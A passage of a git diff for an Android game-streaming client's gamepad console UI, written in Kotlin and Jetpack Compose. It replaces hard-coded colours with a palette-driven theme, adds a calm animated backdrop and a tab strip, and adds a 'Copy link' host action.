0.55f), // brand violet - AuroraBlob(Color(0xFF3E33B8), 0.78f, 0.68f, 0.13f, 0.14f, 1, 2, 2.4f, 0.68f, 0.58f), // deep indigo - AuroraBlob(Color(0xFF9E4CCC), 0.16f, 0.82f, 0.12f, 0.09f, 2, 1, 4.1f, 0.52f, 0.42f), // plum - AuroraBlob(Color(0xFF3862DB), 0.72f, 0.14f, 0.10f, 0.08f, 1, 3, 1.2f, 0.48f, 0.40f), // cool blue + AuroraBlob(0.30f, 0.26f, 0.16f, 0.10f, 1, 1, 0.0f, 0.62f, 0.55f), + AuroraBlob(0.78f, 0.68f, 0.13f, 0.14f, 1, 2, 2.4f, 0.68f, 0.58f), + AuroraBlob(0.16f, 0.82f, 0.12f, 0.09f, 2, 1, 4.1f, 0.52f, 0.42f), + AuroraBlob(0.72f, 0.14f, 0.10f, 0.08f, 1, 3, 1.2f, 0.48f, 0.40f), ) /** - * The living console backdrop: soft violet-family blobs drifting over black on slow, seamless loops, - * finished with a centre-pooling vignette and top/bottom legibility scrims. A Compose approximation - * of the Apple client's MeshGradient aurora — same brand family, same "ambience, never content" role. + * The living console backdrop: soft blobs from the palette's ramp drifting over its ground on + * slow, seamless loops, finished with a centre-pooling vignette and top/bottom legibility scrims. + * A Compose approximation of the Apple client's MeshGradient aurora — same colour families, same + * "ambience, never content" role, and the same [GamepadPalette] setting recolours both. + * + * [calm] is what the FORM screens wear: the pools dim onto the ground so the glass rows keep real + * colour and luminance without the launcher's contrast. Motion is identical either way on purpose + * — only the contrast differs, so moving between screens can't make the field jump. + * + * Honours the system's "remove animations" accessibility setting by freezing at a fixed phase, the + * same courtesy the Apple client pays Reduce Motion. */ @Composable -fun GamepadAuroraBackground(modifier: Modifier = Modifier) { +fun GamepadAuroraBackground(modifier: Modifier = Modifier, calm: Boolean = false) { + val ink = LocalGamepadInk.current + val palette = LocalGamepadPalette.current + val animated = animationsEnabled() val transition = rememberInfiniteTransition(label = "aurora") - // A full 0..2π sweep over ~96 s; integer per-blob multipliers make sin/cos continuous at the wrap - // so the field never visibly jumps when the animation restarts. - val angle by transition.animateFloat( + // A full 0..2π sweep over ~96 s; integer per-blob multipliers make sin/cos continuous at the + // wrap so the field never visibly jumps when the animation restarts. + val swept by transition.animateFloat( initialValue = 0f, targetValue = (2 * PI).toFloat(), animationSpec = infiniteRepeatable(tween(96_000, easing = LinearEasing), RepeatMode.Restart), label = "angle", ) + val angle = if (animated) swept else 0f + val tones = palette.blobColors + val ground = palette.groundColor + // Where the scrims tend, and how hard. Mixing a PALE field toward white at the dark field's + // strength bleaches the chroma straight out of the gradient, so a pale palette gets under + // half — the same scrim strength the desktop console's shader carries. + val scrim = if (palette.light) ink.fg else Color.Black + val strength = if (palette.light) 0.45f else 1f Canvas(modifier) { - drawRect(Color.Black) + drawRect(ground) val span = max(size.width, size.height) - for (b in auroraBlobs) { + for ((i, b) in auroraBlobs.withIndex()) { val cx = (b.baseX + b.driftX * sin(angle * b.sx + b.phase)) * size.width val cy = (b.baseY + b.driftY * cos(angle * b.sy + b.phase)) * size.height val r = span * b.radiusFrac + // Calm scales each blob's contribution rather than dimming the whole canvas: the + // ground stays put and only the pools come down to meet it, which is the same "lower + // the contrast, keep the colour" the desktop console's `calm` uniform does. + val alpha = if (calm) b.alpha * 0.62f else b.alpha drawCircle( brush = Brush.radialGradient( - colors = listOf(b.color.copy(alpha = b.alpha), Color.Transparent), + colors = listOf(tones[i].copy(alpha = alpha), Color.Transparent), center = Offset(cx, cy), radius = r, ), center = Offset(cx, cy), radius = r, - blendMode = BlendMode.Plus, + // Additive only works over a DARK ground; over a pale one every blob + // saturates to white and the field turns grey. Pale palettes tint instead. + blendMode = if (palette.light) BlendMode.SrcOver else BlendMode.Plus, ) } - // Cinematic vignette: pool light centre, sink the corners. + // Cinematic vignette: pool light centre, settle the corners toward the scrim. Halved under + // calm: a launcher's cards sit in the pooled centre, but a form screen's rows run out + // toward the edges, where crushing them just eats the list. drawRect( Brush.radialGradient( - colors = listOf(Color.Transparent, Color.Black.copy(alpha = 0.44f)), + colors = listOf( + Color.Transparent, + scrim.copy(alpha = (if (calm) 0.22f else 0.44f) * strength), + ), center = Offset(size.width / 2, size.height / 2), radius = span * 0.92f, ), @@ -131,43 +171,108 @@ fun GamepadAuroraBackground(modifier: Modifier = Modifier) { // Top/bottom legibility scrim for the pinned title + hint bar. drawRect( Brush.verticalGradient( - 0.0f to Color.Black.copy(alpha = 0.40f), - 0.30f to Color.Black.copy(alpha = 0.05f), - 0.70f to Color.Black.copy(alpha = 0.06f), - 1.0f to Color.Black.copy(alpha = 0.42f), + 0.0f to scrim.copy(alpha = 0.40f * strength), + 0.30f to scrim.copy(alpha = 0.05f * strength), + 0.70f to scrim.copy(alpha = 0.06f * strength), + 1.0f to scrim.copy(alpha = 0.42f * strength), ), ) } } /** - * The calm backdrop for the console FORM screens (settings, add-host) — deliberately still and quiet - * (unlike the launcher's drifting aurora), a deep indigo base with two soft brand glows so the glass - * rows have some colour + luminance to sit on. Mirrors the Apple client's GamepadFormBackground. + * `false` when the user has turned animations off system-wide (Developer options' animator duration + * scale, or the accessibility "Remove animations" switch, which sets the same global). Read once + * per composition — it needs a settings trip to the system, and it changes about never. + */ +@Composable +private fun animationsEnabled(): Boolean { + val context = LocalContext.current + return remember { + runCatching { + android.provider.Settings.Global.getFloat( + context.contentResolver, + android.provider.Settings.Global.ANIMATOR_DURATION_SCALE, + 1f, + ) != 0f + }.getOrDefault(true) + } +} + +/** + * The backdrop for the console FORM screens (settings, add-host). It used to be a STILL deep-indigo + * base with two soft glows; it is now the launcher's own living field at `calm`, which keeps that + * colour and luminance under the glass rows, honours the palette setting on every screen rather + * than only the launcher, and leaves nothing in the console UI backed by a static image. Mirrors + * the Apple client's GamepadFormBackground, which made the same substitution. */ @Composable fun GamepadFormBackground(modifier: Modifier = Modifier) { - Canvas(modifier) { - val span = max(size.width, size.height) - drawRect(Color(0xFF131126)) - drawCircle( - brush = Brush.radialGradient( - colors = listOf(Color(0xE6635AAE), Color.Transparent), - center = Offset(size.width * 0.24f, size.height * 0.12f), - radius = span * 0.7f, - ), - center = Offset(size.width * 0.24f, size.height * 0.12f), - radius = span * 0.7f, - ) - drawCircle( - brush = Brush.radialGradient( - colors = listOf(Color(0xBF343E96), Color.Transparent), - center = Offset(size.width * 0.82f, size.height * 0.9f), - radius = span * 0.7f, - ), - center = Offset(size.width * 0.82f, size.height * 0.9f), - radius = span * 0.7f, - ) + GamepadAuroraBackground(modifier, calm = true) +} + +/** + * The horizontal section switcher above a console list. Purely presentational — the SCREEN owns + * which tab is selected and what the shoulders do. Scrollable so a narrow phone in landscape never + * has to squeeze the pills, and the selected one is always brought into view whether it was reached + * by shoulder button or tap. + */ +@Composable +fun ConsoleTabStrip( + titles: List, + selected: Int, + onSelect: (Int) -> Unit, + modifier: Modifier = Modifier, + /** + * The strip itself holds the cursor (the caller moved focus UP out of its list). Draws a ring + * on the selected pill so it's clear left/right now walks sections rather than values — the + * route a D-pad remote, which has no shoulder buttons, needs. + */ + focused: Boolean = false, +) { + val ink = LocalGamepadInk.current + val listState = rememberLazyListState() + LaunchedEffect(selected) { + runCatching { listState.animateScrollToItem(selected.coerceAtLeast(0)) } + } + LazyRow( + state = listState, + modifier = modifier, + contentPadding = PaddingValues(horizontal = ConsoleEdgeInset), + horizontalArrangement = Arrangement.spacedBy(6.dp), + ) { + itemsIndexed(titles) { i, title -> + val active = i == selected + val background by animateColorAsState( + if (active) ink.accent(0.85f) else ink.glass, + tween(180), + label = "tabBg", + ) + // Not `ink` — that name is the palette's, and shadowing it here cost a compile. + val labelColor by animateColorAsState( + if (active) ink.onAccent else ink.fg(0.55f), + tween(180), + label = "tabInk", + ) + val ring by animateColorAsState( + ink.fg(if (active && focused) 0.85f else 0f), + tween(180), + label = "tabRing", + ) + Text( + title, + style = MaterialTheme.typography.labelLarge, + fontWeight = FontWeight.SemiBold, + color = labelColor, + maxLines = 1, + modifier = Modifier + .clip(RoundedCornerShape(50)) + .background(background) + .border(1.5.dp, ring, RoundedCornerShape(50)) + .clickable { onSelect(i) } + .padding(horizontal = 14.dp, vertical = 7.dp), + ) + } } } @@ -176,7 +281,7 @@ fun GamepadFormBackground(modifier: Modifier = Modifier) { * sits in the SAME spot across Home / Settings / Add-Host and appears pinned while the content behind * it cross-fades between screens. */ -val ConsoleLegendInset = PaddingValues(start = 24.dp, bottom = 24.dp) +val ConsoleLegendInset = PaddingValues(start = 24.dp, end = 24.dp, bottom = 24.dp) /** The shared horizontal inset for a console screen's heading (matches the legend's left edge). */ val ConsoleEdgeInset = 24.dp @@ -187,6 +292,7 @@ val ConsoleEdgeInset = 24.dp */ @Composable fun ConsoleHeader(title: String, modifier: Modifier = Modifier, horizontalInset: Boolean = true) { + val ink = LocalGamepadInk.current // `horizontalInset = false` when the caller's container already pads to ConsoleEdgeInset (e.g. a // LazyColumn contentPadding) — so the heading lands at the SAME 24dp on every screen either way. val h = if (horizontalInset) ConsoleEdgeInset else 0.dp @@ -194,7 +300,7 @@ fun ConsoleHeader(title: String, modifier: Modifier = Modifier, horizontalInset: title, style = MaterialTheme.typography.headlineMedium, fontWeight = FontWeight.Bold, - color = Color.White, + color = ink.fg, maxLines = 1, overflow = TextOverflow.Ellipsis, modifier = modifier.padding(start = h, end = h, top = 18.dp, bottom = 10.dp), @@ -251,21 +357,22 @@ class ConsoleFocusVisuals(val scale: Float, val background: Color, val border: C */ @Composable fun animateConsoleFocus(active: Boolean, editing: Boolean = false): ConsoleFocusVisuals { + val ink = LocalGamepadInk.current val scale by animateFloatAsState( targetValue = if (active) 1f else 0.98f, animationSpec = spring(dampingRatio = 0.7f, stiffness = Spring.StiffnessMediumLow), label = "consoleScale", ) val background by animateColorAsState( - if (active) Color(0x336656F2) else Color(0x14FFFFFF), + if (active) ink.accent(0.20f) else ink.glass, tween(160), label = "consoleBg", ) val border by animateColorAsState( when { - editing -> Color(0xB38678F5) - active -> Color.White.copy(alpha = 0.28f) - else -> Color.White.copy(alpha = 0.06f) + editing -> ink.accent(0.70f) + active -> ink.fg(0.28f) + else -> ink.fg(0.06f) }, tween(160), label = "consoleBorder", @@ -280,18 +387,19 @@ fun animateConsoleFocus(active: Boolean, editing: Boolean = false): ConsoleFocus */ @Composable fun ConsoleSwitch(on: Boolean, focused: Boolean, modifier: Modifier = Modifier) { + val ink = LocalGamepadInk.current val travel by animateFloatAsState( targetValue = if (on) 1f else 0f, animationSpec = spring(dampingRatio = 0.8f, stiffness = 600f), label = "switchKnob", ) val track by animateColorAsState( - if (on) Color(0xFF6656F2) else Color(0x26FFFFFF), + if (on) ink.accent else Color(0x26FFFFFF), tween(200), label = "switchTrack", ) val outline by animateColorAsState( - Color.White.copy(alpha = if (focused) 0.45f else 0.15f), + ink.fg(if (focused) 0.45f else 0.15f), tween(160), label = "switchOutline", ) @@ -313,7 +421,7 @@ fun ConsoleSwitch(on: Boolean, focused: Boolean, modifier: Modifier = Modifier) .offset { IntOffset(((trackW - knob - pad * 2).toPx() * travel).roundToInt(), 0) } .size(knob) .clip(CircleShape) - .background(Color.White), + .background(ink.fg), ) } } @@ -321,6 +429,7 @@ fun ConsoleSwitch(on: Boolean, focused: Boolean, modifier: Modifier = Modifier) /** A round face-button badge: a coloured disc with the button letter, like a controller's face. */ @Composable fun GamepadButtonGlyph(glyph: Char, color: Color, size: androidx.compose.ui.unit.Dp = 26.dp) { + val ink = LocalGamepadInk.current Box( modifier = Modifier .size(size) @@ -330,7 +439,7 @@ fun GamepadButtonGlyph(glyph: Char, color: Color, size: androidx.compose.ui.unit ) { Text( glyph.toString(), - color = Color.White, + color = ink.fg, fontWeight = FontWeight.Bold, fontSize = (size.value * 0.52f).sp, textAlign = TextAlign.Center, @@ -341,11 +450,12 @@ fun GamepadButtonGlyph(glyph: Char, color: Color, size: androidx.compose.ui.unit /** The D-pad-centre "select" button — a green (confirm) disc with a ring; the TV-remote glyph for A. */ @Composable private fun SelectGlyph(size: androidx.compose.ui.unit.Dp = 26.dp) { + val ink = LocalGamepadInk.current Box( modifier = Modifier.size(size).clip(CircleShape).background(PadGlyph.A), contentAlignment = Alignment.Center, ) { - Box(Modifier.size(size * 0.46f).clip(CircleShape).border(2.dp, Color.White, CircleShape)) + Box(Modifier.size(size * 0.46f).clip(CircleShape).border(2.dp, ink.fg, CircleShape)) } } @@ -410,6 +520,7 @@ internal fun PsFaceGlyph(glyph: Char, size: androidx.compose.ui.unit.Dp = 26.dp) */ @Composable internal fun SelectButtonGlyph(style: Gamepad.PadStyle, size: androidx.compose.ui.unit.Dp = 26.dp) { + val ink = LocalGamepadInk.current Box( Modifier.size(size).clip(CircleShape).background(PadButtonFace), contentAlignment = Alignment.Center, @@ -421,17 +532,17 @@ internal fun SelectButtonGlyph(style: Gamepad.PadStyle, size: androidx.compose.u val corner = RoundedCornerShape(2.dp) Box( Modifier.size(size * 0.32f).align(Alignment.TopEnd) - .border(1.4.dp, Color.White.copy(alpha = 0.9f), corner), + .border(1.4.dp, ink.fg(0.9f), corner), ) Box( Modifier.size(size * 0.32f).align(Alignment.BottomStart) .clip(corner).background(PadButtonFace) - .border(1.4.dp, Color.White.copy(alpha = 0.9f), corner), + .border(1.4.dp, ink.fg(0.9f), corner), ) } Gamepad.PadStyle.NINTENDO -> Text( "−", - color = Color.White, + color = ink.fg, fontWeight = FontWeight.Bold, fontSize = (size.value * 0.62f).sp, textAlign = TextAlign.Center, @@ -440,7 +551,7 @@ internal fun SelectButtonGlyph(style: Gamepad.PadStyle, size: androidx.compose.u Modifier .size(width = size * 0.58f, height = size * 0.30f) .clip(RoundedCornerShape(50)) - .border(1.6.dp, Color.White.copy(alpha = 0.9f), RoundedCornerShape(50)), + .border(1.6.dp, ink.fg(0.9f), RoundedCornerShape(50)), ) } } @@ -452,6 +563,7 @@ internal fun SelectButtonGlyph(style: Gamepad.PadStyle, size: androidx.compose.u */ @Composable fun GamepadHintBar(hints: List, modifier: Modifier = Modifier, hazeState: HazeState? = null) { + val ink = LocalGamepadInk.current // On a TV D-pad remote (no A/B/X/Y), auto-swap the two universal pad glyphs every screen uses: // A (confirm) → the select ring, B (back/cancel) → a back glyph. Screen-specific glyphs like the // home's Up/Down handle themselves. A real pad instead picks its glyph FAMILY (Xbox letters / @@ -464,14 +576,19 @@ fun GamepadHintBar(hints: List, modifier: Modifier = Modifier, haze // With a haze source, blur the content behind the pill (real backdrop blur, API 31+; a translucent // scrim below) + a light tint; otherwise fall back to a solid frosted fill. val frosted = if (hazeState != null) { - modifier.clip(shape).hazeEffect(hazeState).background(Color(0x4014122A)) + modifier.clip(shape).hazeEffect(hazeState).background(ink.shade(0.25f)) } else { - modifier.clip(shape).background(Color(0x8C14122A)) + modifier.clip(shape).background(ink.shade(0.55f)) } Row( modifier = frosted - .border(1.dp, Color.White.copy(alpha = 0.14f), shape) - .padding(horizontal = 16.dp, vertical = 10.dp), + .border(1.dp, ink.fg(0.14f), shape) + .padding(horizontal = 16.dp, vertical = 10.dp) + // The pill still hugs its content when it fits; when it doesn't (a narrow phone, or a + // screen whose legend grew a cell) it scrolls rather than running off the edge and + // silently eating the last hint — which is exactly what the settings screen's new + // Section cell did on a 360 dp phone. + .horizontalScroll(rememberScrollState()), verticalAlignment = Alignment.CenterVertically, horizontalArrangement = Arrangement.spacedBy(11.dp), ) { @@ -497,7 +614,7 @@ fun GamepadHintBar(hints: List, modifier: Modifier = Modifier, haze Text( h.text, style = MaterialTheme.typography.labelLarge, - color = Color.White.copy(alpha = 0.9f), + color = ink.fg(0.9f), maxLines = 1, softWrap = false, // never char-wrap a label when several hints crowd a narrow pill ) @@ -509,24 +626,25 @@ fun GamepadHintBar(hints: List, modifier: Modifier = Modifier, haze /** "Which pad is driving this UI" — a quiet chip in the console top bar with the controller's name. */ @Composable fun ControllerStatusChip(name: String, modifier: Modifier = Modifier) { + val ink = LocalGamepadInk.current Row( modifier = modifier .clip(RoundedCornerShape(50)) - .background(Color.White.copy(alpha = 0.08f)) + .background(ink.fg(0.08f)) .padding(horizontal = 12.dp, vertical = 7.dp), verticalAlignment = Alignment.CenterVertically, ) { Icon( Icons.Filled.SportsEsports, contentDescription = null, - tint = Color.White.copy(alpha = 0.75f), + tint = ink.fg(0.75f), modifier = Modifier.size(16.dp), ) Spacer(Modifier.width(7.dp)) Text( name, style = MaterialTheme.typography.labelMedium, - color = Color.White.copy(alpha = 0.75f), + color = ink.fg(0.75f), maxLines = 1, ) } diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadDialogs.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadDialogs.kt index a3f27ec2..4a2911e7 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadDialogs.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadDialogs.kt @@ -85,6 +85,7 @@ fun GamepadDialog( actions: List, body: @Composable ColumnScope.() -> Unit, ) { + val ink = LocalGamepadInk.current // Focus the primary action; buttons are stacked full-width, navigated up/down (fits long labels // like "Request access" without the cramped-row wrapping a horizontal layout caused). var focus by remember { mutableIntStateOf(actions.indexOfFirst { it.primary }.coerceAtLeast(0)) } @@ -117,11 +118,11 @@ fun GamepadDialog( .heightIn(max = maxCardHeight) .clip(RoundedCornerShape(24.dp)) .background(Color(0xF01A1730)) - .border(1.dp, Color.White.copy(alpha = 0.12f), RoundedCornerShape(24.dp)) + .border(1.dp, ink.fg(0.12f), RoundedCornerShape(24.dp)) .padding(28.dp), verticalArrangement = Arrangement.spacedBy(14.dp), ) { - Text(title, style = MaterialTheme.typography.headlineSmall, fontWeight = FontWeight.Bold, color = Color.White) + Text(title, style = MaterialTheme.typography.headlineSmall, fontWeight = FontWeight.Bold, color = ink.fg) Column( Modifier.weight(1f, fill = false).verticalScroll(rememberScrollState()), verticalArrangement = Arrangement.spacedBy(10.dp), @@ -139,6 +140,7 @@ fun GamepadDialog( @OptIn(ExperimentalFoundationApi::class) @Composable private fun DialogButton(label: String, focused: Boolean, primary: Boolean, enabled: Boolean, onClick: () -> Unit) { + val ink = LocalGamepadInk.current val scale by animateFloatAsState( if (focused) 1.02f else 1f, spring(dampingRatio = 0.7f, stiffness = Spring.StiffnessMediumLow), @@ -152,19 +154,19 @@ private fun DialogButton(label: String, focused: Boolean, primary: Boolean, enab // Focus sweeps up/down the stack — cross-fade the fills so it glides instead of snapping. val bg by animateColorAsState( when { - focused -> Color(0xFF6656F2) - primary -> Color(0x336656F2) - else -> Color(0x14FFFFFF) + focused -> ink.accent + primary -> ink.accent(0.20f) + else -> ink.glass }, tween(160), label = "btnBg", ) val fg by animateColorAsState( when { - !enabled -> Color.White.copy(alpha = 0.35f) - focused -> Color.White - primary -> Color(0xFF8678F5) - else -> Color.White.copy(alpha = 0.85f) + !enabled -> ink.fg(0.35f) + focused -> ink.fg + primary -> ink.accent + else -> ink.fg(0.85f) }, tween(160), label = "btnFg", @@ -198,13 +200,14 @@ private fun DialogButton(label: String, focused: Boolean, primary: Boolean, enab /** Body text helper — a dimmed paragraph. */ @Composable private fun DialogText(text: String) { - Text(text, style = MaterialTheme.typography.bodyMedium, color = Color.White.copy(alpha = 0.7f)) + val ink = LocalGamepadInk.current + Text(text, style = MaterialTheme.typography.bodyMedium, color = ink.fg(0.7f)) } /** - * Console host options for a saved tile — Wake (offered only when offline + a MAC is known), Edit, - * Forget. Reached by pressing Up on a focused saved host in the carousel; the console counterpart of - * the touch host card's overflow menu. + * Console host options for a saved tile — Wake (offered only when offline + a MAC is known), Copy + * link, Edit, Forget. Reached by pressing Up on a focused saved host in the carousel; the console + * counterpart of the touch host card's overflow menu. */ @Composable fun GamepadHostOptionsDialog( @@ -214,6 +217,12 @@ fun GamepadHostOptionsDialog( onLibrary: (() -> Unit)?, // non-null when the game library is enabled → reachable without Y onEdit: () -> Unit, onForget: () -> Unit, + /** + * Copy this tile's `punktfunk://` link. Offered on a pinned tile too — unlike the host's other + * actions it says nothing about the host, it hands out the shortcut this very tile already is + * (profile included), which is exactly what a pin is for. + */ + onCopyLink: () -> Unit, onDismiss: () -> Unit, onSpeedTest: (() -> Unit)? = null, /** @@ -230,12 +239,14 @@ fun GamepadHostOptionsDialog( actions = buildList { if (onUnpin != null) { add(DialogAction("Unpin card", primary = true, onClick = onUnpin)) + add(DialogAction("Copy link", onClick = onCopyLink)) add(DialogAction("Cancel", onClick = onDismiss)) return@buildList } if (onLibrary != null) add(DialogAction("Library", primary = true, onClick = onLibrary)) if (canWake) add(DialogAction("Wake host", onClick = onWake)) if (onSpeedTest != null) add(DialogAction("Network speed test", onClick = onSpeedTest)) + add(DialogAction("Copy link", onClick = onCopyLink)) add(DialogAction("Edit…", primary = onLibrary == null, onClick = onEdit)) add(DialogAction("Forget", onClick = onForget)) add(DialogAction("Cancel", onClick = onDismiss)) @@ -271,6 +282,7 @@ fun GamepadPinHostsDialog( onToggle: (KnownHost) -> Unit, onDismiss: () -> Unit, ) { + val ink = LocalGamepadInk.current // 0..hosts.lastIndex = host rows, hosts.size = the Done button (with no hosts, index 0 IS // Done, so it starts focused). var focus by remember { mutableIntStateOf(0) } @@ -304,7 +316,7 @@ fun GamepadPinHostsDialog( .heightIn(max = maxCardHeight) .clip(RoundedCornerShape(24.dp)) .background(Color(0xF01A1730)) - .border(1.dp, Color.White.copy(alpha = 0.12f), RoundedCornerShape(24.dp)) + .border(1.dp, ink.fg(0.12f), RoundedCornerShape(24.dp)) .padding(28.dp), verticalArrangement = Arrangement.spacedBy(14.dp), ) { @@ -312,7 +324,7 @@ fun GamepadPinHostsDialog( "Pin “$profileName”", style = MaterialTheme.typography.headlineSmall, fontWeight = FontWeight.Bold, - color = Color.White, + color = ink.fg, maxLines = 1, overflow = TextOverflow.Ellipsis, ) @@ -350,6 +362,7 @@ fun GamepadPinHostsDialog( @OptIn(ExperimentalFoundationApi::class) @Composable private fun PinHostRow(label: String, on: Boolean, focused: Boolean, onClick: () -> Unit) { + val ink = LocalGamepadInk.current val visuals = animateConsoleFocus(active = focused) // Inside the dialog's scroll region, like DialogButton: a focused row scrolled out of a short // landscape window pulls itself into view. @@ -376,7 +389,7 @@ private fun PinHostRow(label: String, on: Boolean, focused: Boolean, onClick: () label, style = MaterialTheme.typography.bodyLarge, fontWeight = FontWeight.SemiBold, - color = Color.White, + color = ink.fg, maxLines = 1, overflow = TextOverflow.Ellipsis, ) @@ -450,11 +463,11 @@ fun GamepadLocalNetworkDialog(onAllow: () -> Unit, onSettings: () -> Unit, onDis ), ) { DialogText( - "Android blocks punktfunk from talking to devices on your network, so it can't find " + + "Android blocks Punktfunk from talking to devices on your network, so it can't find " + "or reach any host until you allow it.", ) DialogText( - "If no prompt appears after Allow, enable “Nearby devices” for punktfunk in " + + "If no prompt appears after Allow, enable “Nearby devices” for Punktfunk in " + "system settings.", ) } @@ -518,6 +531,7 @@ fun GamepadRequestAccessDialog(pt: PendingTrust, onRequestAccess: () -> Unit, on @Composable fun GamepadAwaitingApprovalDialog(hostLabel: String, onCancel: () -> Unit) { + val ink = LocalGamepadInk.current GamepadDialog( title = "Waiting for approval", onDismiss = onCancel, @@ -525,8 +539,8 @@ fun GamepadAwaitingApprovalDialog(hostLabel: String, onCancel: () -> Unit) { ) { val deviceName = Build.MODEL ?: "this device" Row(verticalAlignment = Alignment.CenterVertically, horizontalArrangement = Arrangement.spacedBy(12.dp)) { - CircularProgressIndicator(modifier = Modifier.size(20.dp), strokeWidth = 2.dp, color = Color.White) - Text("Approve this device on $hostLabel.", color = Color.White) + CircularProgressIndicator(modifier = Modifier.size(20.dp), strokeWidth = 2.dp, color = ink.fg) + Text("Approve this device on $hostLabel.", color = ink.fg) } DialogText( "Open the host's console (or web UI) and approve “$deviceName”. It connects automatically " + @@ -542,6 +556,7 @@ fun GamepadAwaitingApprovalDialog(hostLabel: String, onCancel: () -> Unit) { */ @Composable fun GamepadPairPinDialog(pt: PendingTrust, identity: ClientIdentity?, onPaired: (String) -> Unit, onDismiss: () -> Unit) { + val ink = LocalGamepadInk.current val scope = rememberCoroutineScope() val digits = remember(pt) { mutableStateListOf(0, 0, 0, 0) } var slot by remember(pt) { mutableIntStateOf(0) } // 0..3 = digit slots, 4 = Pair button @@ -587,16 +602,16 @@ fun GamepadPairPinDialog(pt: PendingTrust, identity: ClientIdentity?, onPaired: Column( Modifier.padding(24.dp).widthIn(max = 460.dp).heightIn(max = maxCardHeight) .clip(RoundedCornerShape(24.dp)) - .background(Color(0xF01A1730)).border(1.dp, Color.White.copy(alpha = 0.12f), RoundedCornerShape(24.dp)) + .background(Color(0xF01A1730)).border(1.dp, ink.fg(0.12f), RoundedCornerShape(24.dp)) .verticalScroll(rememberScrollState()) .padding(28.dp), horizontalAlignment = Alignment.CenterHorizontally, verticalArrangement = Arrangement.spacedBy(18.dp), ) { - Text("Pair with PIN", style = MaterialTheme.typography.headlineSmall, fontWeight = FontWeight.Bold, color = Color.White) + Text("Pair with PIN", style = MaterialTheme.typography.headlineSmall, fontWeight = FontWeight.Bold, color = ink.fg) Text( "Enter the 4-digit PIN shown on the host — D-pad ↑↓ sets a digit, ←→ moves.", - style = MaterialTheme.typography.bodyMedium, color = Color.White.copy(alpha = 0.7f), textAlign = TextAlign.Center, + style = MaterialTheme.typography.bodyMedium, color = ink.fg(0.7f), textAlign = TextAlign.Center, ) Row(horizontalArrangement = Arrangement.spacedBy(12.dp)) { repeat(4) { i -> PinSlot(digits[i], focused = slot == i && !pairing) } @@ -615,13 +630,14 @@ fun GamepadPairPinDialog(pt: PendingTrust, identity: ClientIdentity?, onPaired: @Composable private fun PinSlot(value: Int, focused: Boolean) { + val ink = LocalGamepadInk.current val shape = RoundedCornerShape(12.dp) Box( Modifier.size(54.dp, 66.dp).clip(shape) - .background(if (focused) Color(0x336656F2) else Color(0x14FFFFFF)) - .border(if (focused) 2.dp else 1.dp, if (focused) Color(0xFF8678F5) else Color.White.copy(alpha = 0.1f), shape), + .background(if (focused) ink.accent(0.20f) else ink.glass) + .border(if (focused) 2.dp else 1.dp, if (focused) ink.accent else ink.fg(0.1f), shape), contentAlignment = Alignment.Center, ) { - Text(value.toString(), fontSize = 30.sp, fontWeight = FontWeight.Bold, color = Color.White, fontFamily = FontFamily.Monospace) + Text(value.toString(), fontSize = 30.sp, fontWeight = FontWeight.Bold, color = ink.fg, fontFamily = FontFamily.Monospace) } } diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadHome.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadHome.kt index d42a4643..b590e094 100644 --- a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadHome.kt +++ b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadHome.kt @@ -247,9 +247,10 @@ fun GamepadHome( /** One dark-glass landscape console tile — bigger and bolder than the touch grid's HostCard. */ @Composable private fun GamepadHostTile(tile: HomeTile, modifier: Modifier = Modifier) { + val ink = LocalGamepadInk.current val shape = RoundedCornerShape(26.dp) val wash = if (tile.filled) { - Brush.verticalGradient(listOf(Color(0x336656F2), Color(0x14100C2A))) + Brush.verticalGradient(listOf(ink.accent(0.20f), Color(0x14100C2A))) } else { Brush.verticalGradient(listOf(Color(0x1AFFFFFF), Color(0x0DFFFFFF))) } @@ -258,7 +259,7 @@ private fun GamepadHostTile(tile: HomeTile, modifier: Modifier = Modifier) { .fillMaxWidth() .clip(shape) .background(wash) - .border(1.dp, Color.White.copy(alpha = 0.16f), shape) + .border(1.dp, ink.fg(0.16f), shape) .padding(22.dp), ) { Row(Modifier.fillMaxWidth(), verticalAlignment = Alignment.Top) { @@ -269,7 +270,7 @@ private fun GamepadHostTile(tile: HomeTile, modifier: Modifier = Modifier) { Icon( Icons.Filled.Lock, contentDescription = "Paired", - tint = Color.White.copy(alpha = 0.7f), + tint = ink.fg(0.7f), modifier = Modifier.padding(end = 6.dp).size(15.dp), ) } @@ -286,14 +287,14 @@ private fun GamepadHostTile(tile: HomeTile, modifier: Modifier = Modifier) { tile.title, style = MaterialTheme.typography.titleLarge, fontWeight = FontWeight.Bold, - color = Color.White, + color = ink.fg, maxLines = 1, overflow = TextOverflow.Ellipsis, ) Text( tile.subtitle, style = MaterialTheme.typography.bodyMedium, - color = Color.White.copy(alpha = 0.55f), + color = ink.fg(0.55f), maxLines = 1, overflow = TextOverflow.Ellipsis, ) @@ -302,9 +303,10 @@ private fun GamepadHostTile(tile: HomeTile, modifier: Modifier = Modifier) { @Composable private fun MonogramBadge(tile: HomeTile) { + val ink = LocalGamepadInk.current val shape = RoundedCornerShape(15.dp) val fill = if (tile.filled) { - Brush.verticalGradient(listOf(Color(0xFF6656F2), Color(0xFF8678F5))) + Brush.verticalGradient(listOf(ink.accent, ink.accent)) } else { Brush.verticalGradient(listOf(Color(0x296656F2), Color(0x296656F2))) } @@ -316,18 +318,18 @@ private fun MonogramBadge(tile: HomeTile) { tile.connecting -> CircularProgressIndicator( modifier = Modifier.size(24.dp), strokeWidth = 2.dp, - color = Color.White, + color = ink.fg, ) tile.isAdd -> Icon( Icons.Filled.Add, contentDescription = null, - tint = if (tile.filled) Color.White else Color(0xFF8678F5), + tint = if (tile.filled) ink.fg else ink.accent, ) else -> Text( tile.title.trim().firstOrNull()?.uppercaseChar()?.toString() ?: "•", style = MaterialTheme.typography.titleLarge, fontWeight = FontWeight.Bold, - color = if (tile.filled) Color.White else Color(0xFF8678F5), + color = if (tile.filled) ink.fg else ink.accent, ) } } diff --git a/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadInk.kt b/clients/android/app/src/main/kotlin/io/unom/punktfunk/GamepadInk.kt new file mode 100644 index 